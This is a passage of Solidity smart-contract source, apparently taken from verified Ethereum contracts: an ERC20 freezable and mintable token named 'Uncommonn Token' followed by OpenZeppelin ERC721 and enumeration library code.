= a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { // freezing chains mapping (bytes32 => uint64) internal chains; // freezing amounts for each chain mapping (bytes32 => uint) internal freezings; // total freezing balance per address mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); /** * @dev Gets the balance of the specified address include freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } /** * @dev Gets the balance of the specified address without freezing tokens. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } /** * @dev gets freezing count * @param _addr Address of freeze tokens owner. */ function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } /** * @dev gets freezing end date and freezing balance for the freezing portion specified by index. * @param _addr Address of freeze tokens owner. * @param _index Freezing portion index. It ordered by release date descending. */ function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } /** * @dev freeze your tokens to the specified address. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to freeze. * @param _until Release date, must be in future. */ function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } /** * @dev release first available freezing tokens. */ function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } /** * @dev release all available for release freezing tokens. Gas usage is not deterministic! * @return how many tokens was released */ function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { // WISH masc to increase entropy result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { /** * @dev Mint the specified amount of token to the specified address and freeze it until the specified date. * Be careful, gas usage is not deterministic, * and depends on how many freezes _to address already has. * @param _to Address to which token will be freeze. * @param _amount Amount of token to mint and freeze. * @param _until Release date, must be in future. * @return A boolean that indicates if the operation was successful. */ function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Uncommonn Token"; string public constant TOKEN_SYMBOL = "UCR"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xc4Ca16b889564729324447E369A32602D012d191; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-07-01 */ // File: node_modules\openzeppelin-solidity\contracts\introspection\IERC165.sol pragma solidity ^0.5.2; /** * @title IERC165 * @dev https://eips.ethereum.org/EIPS/eip-165 */ interface IERC165 { /** * @notice Query if a contract implements an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721.sol pragma solidity ^0.5.2; /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) public view returns (uint256 balance); function ownerOf(uint256 tokenId) public view returns (address owner); function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function transferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId) public; function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Receiver.sol pragma solidity ^0.5.2; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract IERC721Receiver { /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safeTransfer`. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4); } // File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol pragma solidity ^0.5.2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: node_modules\openzeppelin-solidity\contracts\utils\Address.sol pragma solidity ^0.5.2; /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: node_modules\openzeppelin-solidity\contracts\drafts\Counters.sol pragma solidity ^0.5.2; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: node_modules\openzeppelin-solidity\contracts\introspection\ERC165.sol pragma solidity ^0.5.2; /** * @title ERC165 * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /* * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) private _supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev internal method for registering an interface */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721.sol pragma solidity ^0.5.2; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } /** * @dev Tells whether an operator is approved by a given owner * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data)); } /** * @dev Returns whether the specified token exists * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0)); require(!_exists(tokenId)); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from); require(to != address(0)); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\IERC721Enumerable.sol pragma solidity ^0.5.2; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Enumerable is IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } // File: node_modules\openzeppelin-solidity\contracts\token\ERC721\ERC721Enumerable.sol pragma solidity ^0.5.2; /** * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /* * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ /** * @dev Constructor function */ constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner)); return _ownedTokens[owner][index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply()); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * Deprecated, use _burn(uint256) instead * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } 